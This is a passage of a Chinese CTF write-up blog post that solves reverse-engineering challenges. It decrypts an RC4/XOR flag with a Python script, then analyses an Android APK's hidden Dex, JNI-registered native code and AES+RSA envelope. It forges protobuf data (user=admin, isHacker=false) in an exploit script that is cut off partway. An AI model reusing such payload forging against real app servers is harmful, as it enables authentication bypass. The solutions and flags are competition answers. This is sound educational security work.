src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3373\"  sizes=\"auto, (max-width: 950px) 100vw, 950px\" \/><\/div><\/figure>\n\n\n\n<p>\u6574\u5408<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>RC4 Key\uff1a\"78 6D 63 74 66 32 30 32 36\" (\u5373 xmctf2026)\n\u5bc6\u6587\uff1a8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3\n\u9644\u52a0\u5e38\u91cf\uff1a.constant k7 102 (102 \u5373 0x66)\n\n\u5206\u6790\u6307\u4ee4\u53d1\u73b0 ADD\u3001MOD\u3001BXOR \u7b49\u64cd\u4f5c\u7801\u88ab\u66ff\u6362\u6210\u4e86 div\u3001bor\u3001not\u3002\u7ed3\u5408 k7 \u5e38\u91cf\u8fd8\u539f\u6700\u7ec8\u6821\u9a8c\u516c\u5f0f\uff1a\nCipher&#91;i] = Input&#91;i] ^ RC4_KeyStream&#91;i] ^ 102<\/code><\/pre>\n\n\n\n<p>\u516c\u5f0f\u9006\u5411\u8ba1\u7b97 flag<\/p>\n\n\n\n<p>exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>key = b\"xmctf2026\"\ncipher_hex = \"8B 8B 77 BE 68 61 86 68 E5 63 EE 84 35 6F 58 C8 51 0F 6E 94 70 E7 26 90 B6 75 EC 28 AF 14 E2 E3\"\ncipher = &#91;int(x, 16) for x in cipher_hex.split()]\n\nS = list(range(256))\nj = 0\nfor i in range(256):\n    j = (j + S&#91;i] + key&#91;i % len(key)]) % 256\n    S&#91;i], S&#91;j] = S&#91;j], S&#91;i]\n\nflag = bytearray()\ni = 0\nj = 0\nfor byte in cipher:\n    i = (i + 1) % 256\n    j = (j + S&#91;i]) % 256\n    S&#91;i], S&#91;j] = S&#91;j], S&#91;i]\n    K = S&#91;(S&#91;i] + S&#91;j]) % 256]\n    flag.append(byte ^ K ^ 102)\n\nprint(flag.decode('utf-8'))<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-363-1024x94.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"94\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-363-1024x94.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3374\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>xmctf{lu4t1c_r3v3rs3_ch4ll3ng3!}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">MixTielele<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-364.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"965\" height=\"684\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-364.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3375\"  sizes=\"auto, (max-width: 965px) 100vw, 965px\" \/><\/div><\/figure>\n\n\n\n<p>\u8003\u70b9<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Android Dex \u52a8\u6001\u52a0\u8f7d \/ \u9690\u85cf Dex \u5206\u6790\nJNI \u52a8\u6001\u6ce8\u518c\u4e0e Native \u5c42\u5bc6\u7801\u5b66\u5206\u6790 (AES+RSA)\nProtobuf \u9006\u5411\u4e0e\u6570\u636e\u4f2a\u9020\n\u81ea\u5b9a\u4e49 LCG-XOR \u6d41\u5bc6\u7801\u8fd8\u539f<\/code><\/pre>\n\n\n\n<p>Java \u5c42\u5165\u53e3\u5206\u6790 (JADX)<\/p>\n\n\n\n<p>\u8f7d\u5165 APK \u81f3 JADX\uff0c\u5b9a\u4f4d\u5230 MainActivity <code>com.example.titlele.OO00OO0OOOO000O000<\/code>\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-365-1024x575.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-365-1024x575.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3376\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-366-1024x575.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-366-1024x575.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3377\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-367-1024x575.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"575\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-367-1024x575.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3378\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u53d1\u73b0\u7a0b\u5e8f\u5728 login() \u65b9\u6cd5\u4e2d\u8c03\u7528\u4e86 OO00OO0OO0000OOOOO.load(this)\uff0c\u52a0\u8f7d\u4e86\u4f4d\u4e8e native \u76ee\u5f55\u4e0b\u7684 libflutter.so\u3002\n\u968f\u540e\u901a\u8fc7\u53cd\u5c04\u8c03\u7528\u9690\u85cf\u7684 Login(\"user\") \u903b\u8f91\u3002\n\u6700\u540e\u5c06\u5f97\u5230\u7684\u7ed3\u679c\u4f20\u5165 Native \u5c42\u51fd\u6570 EncTitlele\uff0c\u5e76\u5c06\u8fd4\u56de\u7684 JSON \u63d0\u4ea4\u81f3\u670d\u52a1\u5668\u3002<\/code><\/pre>\n\n\n\n<p>\u63d0\u53d6 <code>lib\/arm64-v8a\/libflutter.so<\/code><\/p>\n\n\n\n<p>\u7531\u4e8e\u6587\u4ef6\u5f02\u5e38\u5927\u4e14\u88ab <code>PathClassLoader<\/code> \u52a0\u8f7d\uff0c\u5224\u65ad\u5176\u4e3a\u9690\u85cf\u7684 Dex\/APK \u6587\u4ef6\u3002\u76f4\u63a5\u5c06\u5176\u62d6\u5165 JADX\u3002<\/p>\n\n\n\n<p>\u5bfb\u627e\u6838\u5fc3\u903b\u8f91\uff1a\u5b9a\u4f4d\u5230 <code>com.example.titlele.OO00OO0OO00O0OO000<\/code> \u7c7b\uff0c\u53d1\u73b0\u5176\u6ce8\u518c\u4e86\u4e00\u4e2a\u52a8\u6001\u4ee3\u7406 <code>OO00OO0OOO00O00O00<\/code> \u62e6\u622a <code>Login<\/code> \u65b9\u6cd5\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-368-1024x576.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-368-1024x576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3379\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-369-1024x576.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-369-1024x576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3380\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-370-1024x576.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-370-1024x576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3381\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>Protobuf \u9677\u9631\uff1a\u5206\u6790 LogInfo \u65b9\u6cd5\uff0c\u53d1\u73b0\u4f7f\u7528\u4e86 Protobuf \u5e8f\u5217\u5316\u6570\u636e\uff1a\n\u4f20\u5165\u4e86 user=\"user\"\n\u903b\u8f91\u9677\u9631\uff1a\u786c\u7f16\u7801\u4e86 isHacker=true\n\u81ea\u7814\u52a0\u5bc6\u5206\u6790\uff1a\u5b9a\u4f4d\u5230 com.example.utils.Encrypt.enc\uff0c\u53d1\u73b0\u662f\u4e00\u4e2a\u57fa\u4e8e\u7ebf\u6027\u540c\u4f59\u53d1\u751f\u5668 (LCG) \u7684 XOR \u6d41\u5bc6\u7801\uff1a\nINITIAL_SEED = 622918\nMULTIPLIER = 1664525\nINCREMENT = 1013904223\n\u6bcf\u6b21\u53d6 key \u7684\u4f4e 8 \u4f4d\u4e0e\u6570\u636e\u5f02\u6216\uff0c\u5e76\u8fed\u4ee3\u66f4\u65b0 key\u3002<\/code><\/pre>\n\n\n\n<p>\u5c06\u771f\u5b9e\u7684 C\/C++ \u6838\u5fc3\u5e93 <code>libmixtitlele.so<\/code> \u8f7d\u5165 IDA\u3002<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u5b9a\u4f4d JNI \u63a5\u53e3\uff1a\u5bfc\u51fa\u8868\u672a\u53d1\u73b0 Java_ \u5f00\u5934\u51fd\u6570\uff0c\u8f6c\u81f3 JNI_OnLoad \u5206\u6790<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-371-1024x550.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"550\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-371-1024x550.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3382\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-372-1024x524.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"524\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-372-1024x524.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3383\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u52a8\u6001\u6ce8\u518c\u3002\u8ffd\u8e2a RegisterNatives \u7684\u7b2c\u4e09\u4e2a\u53c2\u6570 off_20DCA8<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-373-1024x453.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"453\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-373-1024x453.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3384\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u83b7\u53d6\u5230\u771f\u5b9e\u7684 EncTitlele \u51fd\u6570\u5730\u5740\u4e3a sub_D6DF8\u3002<\/p>\n\n\n\n<p>\u53c2\u8003sub_D6DF8 \u51fd\u6570<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-374-1024x630.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"630\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-374-1024x630.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3385\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-375-1024x599.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"599\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-375-1024x599.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3386\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u903b\u8f91<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>RAND_bytes \u751f\u6210 16 \u5b57\u8282\u968f\u673a\u6570\u4f5c\u4e3a AES Key\u3002\nmemset \u751f\u6210 16 \u5b57\u8282 x00 \u4f5c\u4e3a AES IV\u3002\n\u8c03\u7528 aesEncryptInfo\uff0c\u4f7f\u7528 AES-CBC \u52a0\u5bc6\u4ece Java \u5c42\u4f20\u6765\u7684 Base64 \u5b57\u7b26\u4e32\u3002\n\u8c03\u7528 rsaEncryptKey \u52a0\u5bc6\u968f\u673a\u751f\u6210\u7684 AES Key\u3002\n\u7ec4\u88c5 JSON\uff1a{\"a1\": \"RSA\u5bc6\u6587\", \"b2\": \"AES\u5bc6\u6587\"}\u3002<\/code><\/pre>\n\n\n\n<p>\u8ffd\u8e2aaesEncryptInfo<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-376-1024x240.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"240\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-376-1024x240.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3387\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-377-1024x540.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"540\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2026\/03\/image-377-1024x540.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-3388\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>\u63d0\u53d6 RSA \u516c\u94a5\uff1a\u8fdb\u5165 rsaEncryptKey (_Z13rsaEncryptKeyPKhi)\uff0c\u63d0\u53d6\u51fa\u786c\u7f16\u7801\u7684 PEM \u683c\u5f0f RSA \u516c\u94a5\u3002<\/code><\/pre>\n\n\n\n<p>\u7ed5\u8fc7\u9677\u9631\u4e0e Payload \u6784\u9020<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\u901a\u8fc7\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u63d0\u793a\uff08something wrong -&gt; login as admin -&gt; hacker!!!\uff09\u5f97\u77e5\uff0c\u5fc5\u987b\u4f2a\u9020 Protobuf \u6570\u636e\u3002\n\u76ee\u6807\uff1a\u5c06 user \u4fee\u6539\u4e3a admin\uff0c\u5c06 isHacker \u4fee\u6539\u4e3a false\u3002\nProtobuf \u5b57\u8282\u7801\u6784\u9020\uff1a\u5b57\u6bb51 (Tag 0x0a, \u957f\u5ea6 0x05, \u6570\u636e admin)\uff0c\u5b57\u6bb52 (Tag 0x10, \u6570\u636e 0x00)\u3002\u6700\u7ec8\u5b57\u8282\u4e3a b'x0ax05adminx10x00'\u3002\n\u5c06\u6784\u9020\u597d\u7684\u5b57\u8282\u6309\u987a\u5e8f\u7ecf\u8fc7 LCG-XOR -&gt; Base64 -&gt; AES -&gt; \u7ec4\u88c5 RSA -&gt; \u53d1\u5305\u3002<\/code><\/pre>\n\n\n\n<p>\u5b8c\u6574exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import os\nimport json\nimport base64\nimport requests\nimport ctypes\nfrom Crypto.Cipher import AES\nfrom Crypto.PublicKey import RSA\nfrom Crypto.Cipher import PKCS1_v1_5\nfrom Crypto.Util.Padding import pad\n\nRSA_PUB = \"\"\"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAovOZy74DuQ55Nr\/mOKRO\nqHjcjVF8V2OrRPEAXz6x61z+jgUBZ6aIFLh3S0\/6YSO9\/OlWIsrkaJlISCPdrLOj\nnvSwt6IOiWKVbzcxqyblR8MHbM74Lp7l9T8M9rKqQmjiCFPcbcpyAsABg5Cwgthf\nBo26BIusvptmb+rHXO5kylRHTMbXrBfC5Yagp25M7bCbpg7JqtR4uaaKg9c849+B\nrvYq5PHtfDMAbUVSCbXG17\/lR\/1WENQSbPTAgdtmkUvdcwV14iHYIhuspiXnIa\/Z\n5Ze\/xekUvwYVk09\/pU7T0zSVxR+gRUhNPtKZYiZ\/w7alSAVjvGooOSc+ps+7KVCk\nyQIDAQAB\n-----END PUBLIC KEY-----\"\"\"\n\ndef lcg_xor(data: bytes) -&gt; bytes:\n    res = bytearray()\n    curr = ctypes.c_int32(622918)\n    for b in data:\n        res.append(b ^ (curr.value &amp; 0xFF))\n        curr.value = (1664525 * curr.value) + 1013904223\n    return bytes(res)\n\ndef build_payload() -&gt; str:\n    proto_data = b'x0ax05adminx10x00'\n    enc_data = lcg_xor(proto_data)\n    inner_payload = base64.b64encode(enc_data).decode()\n\n    aes_key = os.urandom(16)\n    aes_iv = b'x00' * 16\n\n    